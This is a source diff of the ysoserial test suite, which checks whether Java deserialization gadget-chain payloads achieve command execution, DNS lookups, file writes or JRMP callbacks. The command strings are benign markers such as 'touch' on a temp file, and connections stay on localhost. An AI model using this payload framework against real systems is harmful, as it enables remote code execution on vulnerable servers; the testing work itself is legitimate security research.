-    static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies, final Class<?> customDeserializer )
-            throws Exception {
-        File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0];
-        URL[] urls = new URL[jars.length];
-        for ( int i = 0; i < jars.length; i++ ) {
-            urls[ i ] = jars[ i ].toURI().toURL();
-        }
-
-        URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {
-
-            {
-                for ( Class<?> clazz : classDependencies ) {
-                    byte[] classAsBytes = ClassFiles.classAsBytes(clazz);
-                    defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length);
-                }
-                byte[] deserializerClassBytes = ClassFiles.classAsBytes(Deserializer.class);
-                defineClass(Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
-
-                if ( customDeserializer != null ) {
-
-                    try {
-                        Method method = customDeserializer.getMethod("getExtraDependencies");
-                        for ( Class extra : (Class[])method.invoke(null)) {
-                            deserializerClassBytes = ClassFiles.classAsBytes(extra);
-                            defineClass(extra.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
-                        }
-                    } catch ( NoSuchMethodException e ) { }
-
-                    deserializerClassBytes = ClassFiles.classAsBytes(customDeserializer);
-                    defineClass(customDeserializer.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
-                }
-
-            }
-        };
-
-        Class<?> deserializerClass = isolatedClassLoader.loadClass(customDeserializer != null ? customDeserializer.getName() : Deserializer.class.getName());
-        Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[ 0 ].newInstance(serialized);
-
-        ClassLoader ccl = Thread.currentThread().getContextClassLoader();
-        try {
-            // set CCL for Clojure https://groups.google.com/forum/#!topic/clojure/F3ERon6Fye0
-            Thread.currentThread().setContextClassLoader(isolatedClassLoader);
-            final Object obj = deserializer.call();
-            return obj;
-        } finally {
-            Thread.currentThread().setContextClassLoader(ccl);
-        }
-    }
-}

src/test/java/ysoserial/test/CustomDeserializer.java

@@ -1,4 +1,4 @@
-package ysoserial;
+package ysoserial.test;
 
 
 /**
@@ -7,7 +7,7 @@ package ysoserial;
  */
 public interface CustomDeserializer {
 
-    
+
     Class<?> getCustomDeserializer ();
 
 }

src/test/java/ysoserial/test/CustomPayloadArgs.java

@@ -1,4 +1,4 @@
-package ysoserial;
+package ysoserial.test;
 
 
 /**
@@ -7,7 +7,7 @@ package ysoserial;
  */
 public interface CustomPayloadArgs {
 
-    
+
     String getPayloadArgs ();
-    
+
 }

src/test/java/ysoserial/test/CustomTest.java

@@ -1,4 +1,4 @@
-package ysoserial;
+package ysoserial.test;
 
 import java.util.concurrent.Callable;
 

src/test/java/ysoserial/test/WrappedTest.java

@@ -1,4 +1,4 @@
-package ysoserial;
+package ysoserial.test;
 
 import java.util.concurrent.Callable;
 
@@ -9,5 +9,5 @@ import java.util.concurrent.Callable;
 public interface WrappedTest extends CustomPayloadArgs {
 
     Callable<Object> createCallable ( Callable<Object> innerCallable );
-   
+
 }

src/test/java/ysoserial/test/exploit/RMIRegistryExploitTest.java

@@ -1,4 +1,4 @@
-package ysoserial.exploit;
+package ysoserial.test.exploit;
 
 import java.rmi.RemoteException;
 import java.rmi.registry.LocateRegistry;

src/test/java/ysoserial/test/payloads/CommandExecTest.java

@@ -1,22 +1,21 @@
-package ysoserial.payloads;
+package ysoserial.test.payloads;
 
 import org.junit.Assert;
-import ysoserial.CustomTest;
+import ysoserial.test.CustomTest;
-import ysoserial.util.Files;
+import ysoserial.test.util.Files;
-import ysoserial.util.OS;
+import ysoserial.test.util.OS;
 
 import java.io.File;
 import java.util.UUID;
 import java.util.concurrent.Callable;
 
 public class CommandExecTest implements CustomTest {
-    private final File testFile =
+    protected final File testFile =
         new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", ""));
 
     @Override
     public void run(Callable<Object> payload) throws Exception {
         Assert.assertFalse("test file should not exist", testFile.exists());
-        Exception err;
         try {
             payload.call();
         } catch (Exception e) {
@@ -29,10 +28,14 @@ public class CommandExecTest implements CustomTest {
 
     @Override
     public String getPayloadArgs() {
+        return getTouchCmd(testFile.toString());
+    }
+
+    public static String getTouchCmd(String file) {
         switch (OS.get()) {
             case OSX:
-            case LINUX: return "touch " + testFile;
+            case LINUX: return "touch " + file;
-            case WINDOWS: return "powershell -command new-item -type file " + testFile;
+            case WINDOWS: return "powershell -command new-item -type file " + file;
             default: throw new UnsupportedOperationException("unsupported os");
         }
     }

src/test/java/ysoserial/test/payloads/DnsLookupTest.java

@@ -0,0 +1,54 @@
+package ysoserial.test.payloads;
+
+import org.junit.Assert;
+import sun.security.util.SecurityConstants;
+import ysoserial.payloads.URLDNS;
+import ysoserial.secmgr.SecurityManagers;
+import ysoserial.test.CustomTest;
+import ysoserial.test.util.Randomized;
+import ysoserial.test.util.RecordingNameService;
+import ysoserial.test.util.RecordingSecurityManager;
+
+import java.net.SocketPermission;
+import java.security.Permission;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.concurrent.Callable;
+
+public class DnsLookupTest implements CustomTest {
+    private final String testDomain = Randomized.randUUID();
+
+    @Override
+    public void run(Callable<Object> payload) throws Exception {
+//        RecordingSecurityManager sm = new RecordingSecurityManager();
+
+        RecordingNameService ns = new RecordingNameService();
+//        Assert.assertFalse("should not have resolved domain",
+//            sm.getChecks().contains(new SocketPermission(testDomain, SecurityConstants.SOCKET_RESOLVE_ACTION)));
+        Assert.assertFalse("should not have resolved domain", ns.getLookups().contains(testDomain));
+        try {
+//            SecurityManagers.wrapped(payload, sm).call();
+            ns.install();
+            payload.call();
+        } catch (Exception e) {
+            e.printStackTrace();
+        } finally {
+            ns.uninstall();
+        }
+
+
+        Assert.assertTrue("should have resolved domain", ns.getLookups().contains(testDomain));
+//        Assert.assertTrue("should have resolved domain",
+//            sm.getChecks().contains(new SocketPermission(testDomain, SecurityConstants.SOCKET_RESOLVE_ACTION)));
+    }
+
+    @Override
+    public String getPayloadArgs() {
+        return "http://" + testDomain;
+    }
+
+    public static void main(String[] args) throws Exception {
+        PayloadsTest.testPayload(URLDNS.class);
+    }
+
+}

src/test/java/ysoserial/test/payloads/EmptyFileWriteTest.java

@@ -0,0 +1,40 @@
+package ysoserial.test.payloads;
+
+import org.junit.Assert;
+import ysoserial.payloads.Scala;
+import ysoserial.test.CustomTest;
+import ysoserial.test.util.Files;
+import ysoserial.test.util.OS;
+import ysoserial.test.util.Randomized;
+
+import java.io.File;
+import java.util.concurrent.Callable;
+
+public class EmptyFileWriteTest implements CustomTest {
+    private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Randomized.randUUID());
+    private final String testContent = Randomized.randUUID();
+
+    @Override
+    public void run(Callable<Object> payload) throws Exception {
+        Assert.assertFalse("test file should not exist", testFile.exists());
+        try {
+            payload.call();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        Files.waitForFile(testFile, 5000);
+        Assert.assertTrue("test file should exist", testFile.exists());
+        Assert.assertEquals(0, testFile.length());
+        testFile.deleteOnExit();
+    }
+
+    @Override
+    public String getPayloadArgs() {
+        return testFile.toString();
+    }
+
+    public static void main(String[] args) throws Exception {
+        PayloadsTest.testPayload(Scala.ScalaCreateZeroFile.class, new Class[0]);
+    }
+
+}

src/test/java/ysoserial/test/payloads/FileUploadTest.java

@@ -1,4 +1,4 @@
-package ysoserial.payloads;
+package ysoserial.test.payloads;
 
 import java.io.File;
 import java.io.IOException;
@@ -9,8 +9,8 @@ import org.junit.Assert;
 
 import com.google.common.io.Files;
 
-import ysoserial.CustomTest;
+import ysoserial.test.CustomTest;
-import ysoserial.util.OS;
+import ysoserial.test.util.OS;
 
 /**
  * @author mbechler
@@ -47,9 +47,12 @@ public class FileUploadTest implements CustomTest {
             payload.call();
 
             File found = null;
-            for ( File f : this.repo.listFiles()) {
+            for (int i = 0; i < 50 && found == null; i++) { // try for 5s before failing
-                found = f;
+                for (File f : this.repo.listFiles()) {
-                break;
+                    found = f;
+                    break;
+                }
+                Thread.sleep(100);
             }
             Assert.assertNotNull("File not copied", found);
             if (OS.get() != OS.WINDOWS) {
@@ -60,11 +63,21 @@ public class FileUploadTest implements CustomTest {
         } finally {
             if ( this.repo.exists()) {
                 for ( File f : this.repo.listFiles()) {
-                    f.deleteOnExit();
+                    safeDeleteOnExit(f);
                 }
-                this.repo.deleteOnExit();
+                safeDeleteOnExit(this.repo);
             }
-            this.source.deleteOnExit();
+            safeDeleteOnExit(this.source);
+        }
+    }
+
+    private static void safeDeleteOnExit(File f) {
+        try {
+            if (f.exists()) {
+                f.deleteOnExit();
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
         }
     }
 

src/test/java/ysoserial/test/payloads/JRMPListenerTest.java

@@ -0,0 +1,60 @@
+package ysoserial.test.payloads;
+
+import org.junit.Assert;
+import sun.rmi.transport.ObjectTable;
+import ysoserial.exploit.JRMPClient;
+import ysoserial.payloads.JRMPListener;
+import ysoserial.test.CustomTest;
+import ysoserial.test.util.Files;
+import ysoserial.test.util.ObjectInputFilters;
+import ysoserial.test.util.Randomized;
+
+import java.io.File;
+import java.rmi.Remote;
+import java.util.Random;
+import java.util.concurrent.Callable;
+
+public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
+    private final File testFile = Files.getTestFile();
+
+    private final int port = Randomized.randPort();
+
+    @Override
+    public void run(Callable<Object> payload) throws Exception {
+        Assert.assertFalse("test file shouldn't exist", testFile.exists());
+
+//        ObjectInputFilters.disableDcgFilter();
+
+        // open listener
+        Remote res = (Remote) payload.call();
+
+        try {
+            // send payload
+            JRMPClient.makeDGCCall("localhost", port, new TestHarnessTest.ExecMockSerializable(CommandExecTest.getTouchCmd(testFile.toString())));
+
+            Files.waitForFile(testFile, 1000);
+
+            Assert.assertTrue("test file should exist", testFile.exists());
+        } finally {
+            // close listener
+            // TODO move to postDeserRelease
+            ObjectTable.unexportObject(res, true);
+        }
+    }
+
+    @Override
+    public String getPayloadArgs() {
+        return "" + port;
+    }
+
+    public static void main(String[] args) throws Exception {
+//        ObjectInputFilters.disableDcgFilter();
+        PayloadsTest.testPayload(JRMPListener.class);
+    }
+
+    public Class[] getAddlClasses() {
+        // not applicable because of unconfigurable DGC native classloader
+        return new Class[] { /* TestHarnessTest.ExecMockSerializable.class */ };
+    }
+
+}

src/test/java/ysoserial/test/payloads/JRMPReverseConnectSMTest.java

@@ -1,10 +1,11 @@
-package ysoserial.payloads;
+package ysoserial.test.payloads;
 
 
 import java.net.URL;
 import java.util.concurrent.Callable;
 
-import ysoserial.WrappedTest;
+import ysoserial.payloads.JRMPClient;
+import ysoserial.test.WrappedTest;
 import ysoserial.exploit.JRMPListener;
 
 
@@ -16,25 +17,19 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements
 
     private int jrmpPort;
 
-
+    public JRMPReverseConnectSMTest () {
-    public JRMPReverseConnectSMTest (String command) {
-        super(command);
         // some payloads cannot specify the port
         jrmpPort = 1099;
     }
-    
-    
-
-
 
     /**
       * {@inheritDoc}
       *
-      * @see ysoserial.payloads.RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable)
+      * @see RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable)
       */
     @Override
     public Callable<Object> createCallable ( final Callable<Object> innerCallable ) {
-        return  super.createCallable(new Callable<Object>() {
+        return super.createCallable(new Callable<Object>() {
             public Object call () throws Exception {
                 JRMPListener l = new JRMPListener(jrmpPort, getExploitClassName(), new URL("http", "localhost", getHTTPPort(), "/"));
                 Thread t = new Thread(l, "JRMP listener");
@@ -58,7 +53,9 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements
         return "localhost:" + jrmpPort;
     }
 
-   
+    public static void main(String[] args) throws Exception {
-    
+//        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
-    
+        PayloadsTest.testPayload(JRMPClient.class);
+    }
+
 }

src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java

@@ -0,0 +1,65 @@
+package ysoserial.test.payloads;
+
+
+import java.util.concurrent.Callable;
+
+import javax.management.BadAttributeValueExpException;
+
+import org.junit.Assert;
+
+import ysoserial.payloads.Atomikos;
+import ysoserial.payloads.Hibernate2;
+import ysoserial.payloads.JRMPClient;
+import ysoserial.payloads.URLDNS;
+import ysoserial.test.CustomTest;
+import ysoserial.exploit.JRMPListener;
+import ysoserial.test.util.ObjectInputFilters;
+
+
+/**
+ * @author mbechler
+ *
+ */
+public class JRMPReverseConnectTest implements CustomTest {
+
+    private int port;
+
+
+    /**
+     *
+     */
+    public JRMPReverseConnectTest () {
+        // some payloads cannot specify the port
+        port = 1099;
+    }
+
+
+    public void run ( Callable<Object> payload ) throws Exception {
+        DnsLookupTest innerTest = new DnsLookupTest();
+        JRMPListener l = new JRMPListener(port, new URLDNS().getObject(innerTest.getPayloadArgs()));
+        Thread t = new Thread(l, "JRMP listener");
+        try {
+            t.start();
+            innerTest.run(payload);
+            Assert.assertTrue("Did not have connection", l.waitFor(1000));
+        }
+        finally {
+            l.close();
+            t.interrupt();
+            t.join();
+        }
+    }
+
+
+    public String getPayloadArgs () {
+    	return "rmi://localhost:" + port + "/ExportObject";
+//        return "rmi:localhost:" + port; // old version
+//        return "localhost:" + port;
+    }
+
+
+    public static void main(String[] args) throws Exception {
+//        ObjectInputFilters.disableDcgFilter();
+        PayloadsTest.testPayload(JRMPClient.class); // broken by sun.rmi.transport.DGCImpl_Stub.leaseFilter
+    }
+}

src/test/java/ysoserial/test/payloads/MyFacesExecTest.java

@@ -0,0 +1,15 @@
+package ysoserial.test.payloads;
+
+import ysoserial.payloads.Myfaces3;
+import ysoserial.test.CustomDeserializer;
+
+public class MyFacesExecTest extends CommandExecTest implements CustomDeserializer  {
+    // FIXME replace CustomDeserializer with inner payload wrapper (w/ limited classloader)
+    public Class<?> getCustomDeserializer () {
+        return MyfacesTest.MyfacesDeserializer.class;
+    }
+
+    public static void main(String[] args) throws Exception {
+        PayloadsTest.testPayload(Myfaces3.class);
+    }
+}

src/test/java/ysoserial/test/payloads/MyfacesTest.java

@@ -1,4 +1,4 @@
-package ysoserial.payloads;
+package ysoserial.test.payloads;
 
 
 import java.beans.FeatureDescriptor;
@@ -23,7 +23,8 @@ import org.mockito.Mockito;
 import org.mockito.invocation.InvocationOnMock;
 import org.mockito.stubbing.Answer;
 
-import ysoserial.CustomDeserializer;
+import ysoserial.payloads.Myfaces2;
+import ysoserial.test.CustomDeserializer;
 import ysoserial.Deserializer;
 
 
@@ -33,31 +34,53 @@ import ysoserial.Deserializer;
  */
 public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer {
 
-
+    // FIXME replace CustomDeserializer with inner payload wrapper (w/ limited classloader)
-    public MyfacesTest ( String command ) {
-        super(command);
-    }
-
-
-
     public Class<?> getCustomDeserializer () {
         return MyfacesDeserializer.class;
     }
 
+
     /**
      * need to use a custom deserializer so that the faces context gets set in the isolated class
-     * 
+     *
      * @author mbechler
      *
      */
-    public static final class MyfacesDeserializer extends Deserializer {
 
+    public static final class MyfacesDeserializer extends Deserializer {
         public static Class<?>[] getExtraDependencies () {
             return new Class[] {
-                MockRequestContext.class, MockELResolver.class
+                MockRequestContext.class, MockELResolver.class, FacesContextSetter.class
             };
         }
 
+        public MyfacesDeserializer ( byte[] bytes ) {
+            super(bytes);
+        }
+
+
+        public static abstract class FacesContextSetter extends FacesContext {
+            public static void set(FacesContext fc) {
+                FacesContext.setCurrentInstance(fc); // protected
+            }
+        }
+
+        @Override
+        public Object call () throws Exception {
+            ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader();
+            Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader());
+            FacesContext ctx = createMockFacesContext();
+            try {
+                FacesContextSetter.set(ctx);
+                return super.call();
+            }
+            finally {
+                FacesContextSetter.set(null);
+                Thread.currentThread().setContextClassLoader(oldTCCL);
+            }
+        }
+
+
         private static class MockRequestContext implements Answer<Object> {
 
             private Map<String, Object> attributes = new HashMap<String, Object>();
@@ -79,10 +102,10 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
 
 
         private static class MockELResolver extends ELResolver {
-            
+
             private ServletRequest request;
-            
+
-  
+
             public MockELResolver (ServletRequest req) {
                 this.request = req;
             }
@@ -94,7 +117,7 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
                     context.setPropertyResolved(true);
                     return this.request;
                 }
-                
+
                 return null;
             }
 
@@ -108,10 +131,10 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
                 return null;
             }
 
- 
+
             @Override
             public void setValue ( ELContext context, Object base, Object property, Object value ) {
-        
+
             }
 
 
@@ -126,37 +149,14 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
                 return null;
             }
 
- 
+
             @Override
             public Class<?> getCommonPropertyType ( ELContext context, Object base ) {
                 return null;
             }
-            
-        }
-        
-        public MyfacesDeserializer ( byte[] bytes ) {
-            super(bytes);
-        }
 
-
-        @Override
-        public Object call () throws Exception {
-            java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class);
-            setFC.setAccessible(true);
-            ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader();
-            Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader());
-            FacesContext ctx = createMockFacesContext();
-            try {
-                setFC.invoke(null, ctx);
-                return super.call();
-            }
-            finally {
-                setFC.invoke(null, (FacesContext) null);
-                Thread.currentThread().setContextClassLoader(oldTCCL);
-            }
         }
 
-
         private static FacesContext createMockFacesContext () throws MalformedURLException {
             FacesContext ctx = Mockito.mock(FacesContext.class);
             CompositeELResolver cer = new CompositeELResolver();
@@ -175,6 +175,13 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
             Mockito.when(ctx.getELContext()).thenReturn(elc);
             return ctx;
         }
+
     }
 
+
+
+
+    public static void main(String[] args) throws Exception {
+        PayloadsTest.testPayload(Myfaces2.class);
+    }
 }

src/test/java/ysoserial/test/payloads/NeedsAddlClasses.java

@@ -0,0 +1,5 @@
+package ysoserial.test.payloads;
+
+public interface NeedsAddlClasses {
+    public Class[] getAddlClasses();
+}

src/test/java/ysoserial/test/payloads/PayloadsTest.java

@@ -0,0 +1,279 @@
+package ysoserial.test.payloads;
+
+
+import java.io.File;
+import java.io.IOException;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.util.*;
+import java.util.concurrent.Callable;
+
+import org.jboss.shrinkwrap.resolver.api.maven.Maven;
+import org.junit.Assume;
+import org.junit.Test;
+import org.junit.runner.JUnitCore;
+import org.junit.runner.Result;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameters;
+
+import ysoserial.*;
+import ysoserial.payloads.Atomikos;
+import ysoserial.payloads.DynamicDependencies;
+import ysoserial.payloads.ObjectPayload;
+import ysoserial.test.CustomTest;
+import ysoserial.test.CustomDeserializer;
+import ysoserial.test.CustomPayloadArgs;
+import ysoserial.test.WrappedTest;
+import ysoserial.test.payloads.TestHarnessTest.ExecMockPayload;
+import ysoserial.test.payloads.TestHarnessTest.NoopMockPayload;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.ClassFiles;
+import ysoserial.test.util.Logging;
+import ysoserial.test.util.OpenURLClassLoader;
+import ysoserial.test.util.PayloadListener;
+import ysoserial.test.util.StdIoRedirection;
+
+
+/*
+ * tests each of the parameterize Payload classes by using a mock SecurityManager that throws
+ * a special exception when an exec() attempt is made for more reliable detection; self-tests
+ * the harness for trivial pass and failure cases
+
+TODO: figure out better way to test exception behavior than comparing messages
+ */
+@SuppressWarnings ( {
+    "rawtypes", "unused", "unchecked"
+} )
+@RunWith ( Parameterized.class )
+public class PayloadsTest {
+
+    @Parameters ( name = "payloadClass: {0}" )
+    public static Class<? extends ObjectPayload<?>>[] payloads () {
+        Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses();
+        payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class));
+        return payloadClasses.toArray(new Class[0]);
+    }
+
+    private final Class<? extends ObjectPayload<?>> payloadClass;
+
+
+    public PayloadsTest ( Class<? extends ObjectPayload<?>> payloadClass ) {
+        this.payloadClass = payloadClass;
+    }
+
+    public static void testPayload(Class<? extends ObjectPayload<?>> payloadClass) throws Exception {
+        testPayload(payloadClass, new Class[0]);
+    }
+
+
+    @Test
+    public void testPayload () throws Exception {
+        testPayload(payloadClass, new Class[0]);
+    }
+
+
+    public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, Class<?>[] addlClassesForClassLoader)
+            throws Exception {
+        System.out.println("Testing payload: " + payloadClass.getName());
+
+        String command = "hostname";
+
+        PayloadTest t = payloadClass.getAnnotation(PayloadTest.class);
+
+        int tries = 1;
+        if ( t != null ) {
+            if (! isForceTests()) {
+                if ( !t.skip().isEmpty() ) {
+                    Assume.assumeTrue(t.skip(), false);
+                }
+
+                if ( !t.precondition().isEmpty() ) {
+                    Assume.assumeTrue("Precondition: " + t.precondition(), checkPrecondition(payloadClass, t.precondition()));
+                }
+            }
+
+            if (! t.flaky().isEmpty()) {
+                tries = 5;
+            }
+        }
+
+        String[] deps = buildDeps(payloadClass);
+        String payloadCommand = command;
+        Class<?> customDeserializer = null;
+        Object testHarness = null;
+        if ( t != null && !t.harness().isEmpty() ) {
+            Class<?> testHarnessClass = Class.forName(t.harness());
+            try {
+                testHarness = testHarnessClass.getConstructor(String.class).newInstance(command);
+            } catch ( NoSuchMethodException e ) {
+                testHarness = testHarnessClass.newInstance();
+            }
+        } else {
+            testHarness = new CommandExecTest(); // default
+        }
+
+        if ( testHarness instanceof CustomPayloadArgs) {
+            payloadCommand = ( (CustomPayloadArgs) testHarness ).getPayloadArgs();
+        }
+
+        if ( testHarness instanceof CustomDeserializer) {
+            customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer();
+        }
+
+        if (testHarness instanceof NeedsAddlClasses) {
+            List<Class> classes = new LinkedList<Class>();
+            classes.addAll(Arrays.asList(addlClassesForClassLoader));
+            classes.addAll(Arrays.asList(((NeedsAddlClasses) testHarness).getAddlClasses()));
+            addlClassesForClassLoader = classes.toArray(new Class[classes.size()]);
+        }
+
+        // TODO per-thread secmgr to enforce no detonation during deserialization
+        final byte[] serialized = makeSerializeCallable(payloadClass, payloadCommand).call();
+        Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer);
+        if ( testHarness instanceof WrappedTest) {
+            callable = ( (WrappedTest) testHarness ).createCallable(callable);
+        }
+
+
+        // if marked as flaky try up to 5 times
+        Exception ex = new Exception();
+        for (int i = 0; i < tries; i++) {
+            try {
+                ((CustomTest) testHarness).run(callable);
+                ex = null;
+                break;
+            } catch (Exception e) {
+                ex = e;
+            }
+        }
+        if (ex != null) throw ex;
+        System.out.println("Successfully tested payload: " + payloadClass.getName());
+    }
+
+    private static boolean isForceTests() {
+        return System.getProperty("forceTests") != null;
+    }
+
+    private static Callable<byte[]> makeSerializeCallable ( final Class<? extends ObjectPayload<?>> payloadClass, final String command ) {
+        return new Callable<byte[]>() {
+
+            public byte[] call () throws Exception {
+                ObjectPayload<?> payload = payloadClass.newInstance();
+                final Object f = payload.getObject(command);
+                byte[] serialized =  Serializer.serialize(f);
+                ObjectPayload.Utils.postSerializeRelease(payload, f);
+                return serialized;
+            }
+        };
+    }
+
+    private static Callable<Object> makeDeserializeCallable ( PayloadTest t, final Class<?>[] addlClassesForClassLoader, final String[] deps,
+            final byte[] serialized, final Class<?> customDeserializer ) {
+        return new Callable<Object>() {
+
+            public Object call () throws Exception {
+                return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader, customDeserializer);
+            }
+        };
+    }
+
+    private static boolean checkPrecondition ( Class<? extends ObjectPayload<?>> pc, String precondition )
+            throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
+        Method precondMethod = pc.getMethod(precondition);
+        return (Boolean) precondMethod.invoke(null);
+    }
+
+    private static String[] buildDeps ( final Class<? extends ObjectPayload<?>> payloadClass ) throws Exception {
+        String[] baseDeps;
+        if ( DynamicDependencies.class.isAssignableFrom(payloadClass) ) {
+            Method method = payloadClass.getMethod("getDependencies");
+            baseDeps = (String[]) method.invoke(null);
+        }
+        else {
+            baseDeps = Dependencies.Utils.getDependencies(payloadClass);
+        }
+        if ( System.getProperty("properXalan") != null ) {
+            baseDeps = Arrays.copyOf(baseDeps, baseDeps.length + 1);
+            baseDeps[ baseDeps.length - 1 ] = "xalan:xalan:2.7.2";
+        }
+        return baseDeps;
+    }
+
+    static Object deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies, final Class<?> customDeserializer)
+            throws Exception {
+        URL[] urls = getDependencyUrls(dependencies);
+
+        Map<String, byte[]> addlClasses = new HashMap<String, byte[]>();
+
+        for ( Class<?> clazz : classDependencies ) {
+            byte[] classAsBytes = ClassFiles.classAsBytes(clazz);
+            addlClasses.put(clazz.getName(), classAsBytes);
+        }
+        addlClasses.put(Deserializer.class.getName(), ClassFiles.classAsBytes(Deserializer.class));
+
+        if (customDeserializer != null) {
+            try {
+                Method method = customDeserializer.getMethod("getExtraDependencies");
+                for (Class extra : (Class[]) method.invoke(null)) {
+                    addlClasses.put(extra.getName(), ClassFiles.classAsBytes(extra));
+                }
+            } catch (NoSuchMethodException e) {}
+
+            addlClasses.put(customDeserializer.getName(), ClassFiles.classAsBytes(customDeserializer));
+        }
+
+        OpenURLClassLoader isolatedClassLoader = new OpenURLClassLoader(urls, null);
+        for (Map.Entry<String, byte[]> e : addlClasses.entrySet()) {
+            isolatedClassLoader.defineNewClass(e.getKey(), e.getValue());
+        }
+
+        Class<?> deserializerClass = isolatedClassLoader.loadClass(customDeserializer != null ? customDeserializer.getName() : Deserializer.class.getName());
+        Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[0].newInstance(serialized);
+
+        // set CCL for Clojure https://groups.google.com/forum/#!topic/clojure/F3ERon6Fye0
+        return callWithContextClassLoader(isolatedClassLoader, deserializer);
+    }
+
+    private static Object callWithContextClassLoader(ClassLoader classLoader, Callable<Object> callable) throws Exception {
+        ClassLoader ccl = Thread.currentThread().getContextClassLoader();
+        Thread.currentThread().setContextClassLoader(classLoader);
+        try {
+            return callable.call();
+        } finally {
+            Thread.currentThread().setContextClassLoader(ccl);
+        }
+    }
+
+    private static URL[] getDependencyUrls(String[] dependencies) throws MalformedURLException {
+        File[] jars = dependencies.length > 0
+            ? Maven.configureResolver()
+//                .workOffline(JavaVersion.getLocalVersion().major == 6) //  use cached deps for java 1.6
+                .withRemoteRepo("central", "https://repo1.maven.org/maven2/", "default")
+                .withMavenCentralRepo(false)
+                .useLegacyLocalRepo(true)
+//                .withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default")
+                .resolve(dependencies).withoutTransitivity().asFile()
+            : new File[0];
+        URL[] urls = new URL[jars.length];
+        for ( int i = 0; i < jars.length; i++ ) {
+            urls[ i ] = jars[ i ].toURI().toURL();
+        }
+        return urls;
+    }
+
+    public static void main(String[] args) throws IOException {
+        System.setProperty("https.protocols", "TLSv1,TLSv1.1,TLSv1.2");
+        StdIoRedirection.init();
+        Logging.init();
+
+        JUnitCore junit = new JUnitCore();
+        PayloadListener listener = new PayloadListener();
+        junit.addListener(listener);
+        Result result = junit.run(PayloadsTest.class);
+        System.exit(isForceTests() ? 0 : (result.wasSuccessful() ? 0 : 1));
+    }
+}

src/test/java/ysoserial/test/payloads/PythonUploadExecTest.java

@@ -0,0 +1,45 @@
+package ysoserial.test.payloads;
+
+import org.junit.Assert;
+import ysoserial.test.CustomTest;
+import ysoserial.test.util.Files;
+import ysoserial.test.util.OS;
+import ysoserial.test.util.Randomized;
+
+import java.io.File;
+import java.util.concurrent.Callable;
+
+public class PythonUploadExecTest implements CustomTest {
+    private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Randomized.randUUID());
+    private final File srcPyFile = new File(OS.getTmpDir(), "ysoserial-test-src-" + Randomized.randUUID() + ".py");
+    private final File dstPyFile = new File(OS.getTmpDir(), "ysoserial-test-dst-" + Randomized.randUUID() + ".py");
+    private final String testCode = "open('" + testFile + "','w').close()";
+
+    {
+        Files.writeFile(srcPyFile, testCode);
+    }
+
+    @Override
+    public void run(Callable<Object> payload) throws Exception {
+        Assert.assertTrue("test src file should exist", srcPyFile.exists());
+
+        Assert.assertFalse("test file should not exist", testFile.exists());
+        try {
+            payload.call();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        Files.waitForFile(testFile, 5000);
+        Assert.assertTrue("test dst file should exist", dstPyFile.exists());
+        Assert.assertTrue("test file should exist", testFile.exists());
+        testFile.deleteOnExit();
+        srcPyFile.deleteOnExit();
+        dstPyFile.deleteOnExit();
+    }
+
+    @Override
+    public String getPayloadArgs() {
+        return srcPyFile + ";" + dstPyFile;
+    }
+
+}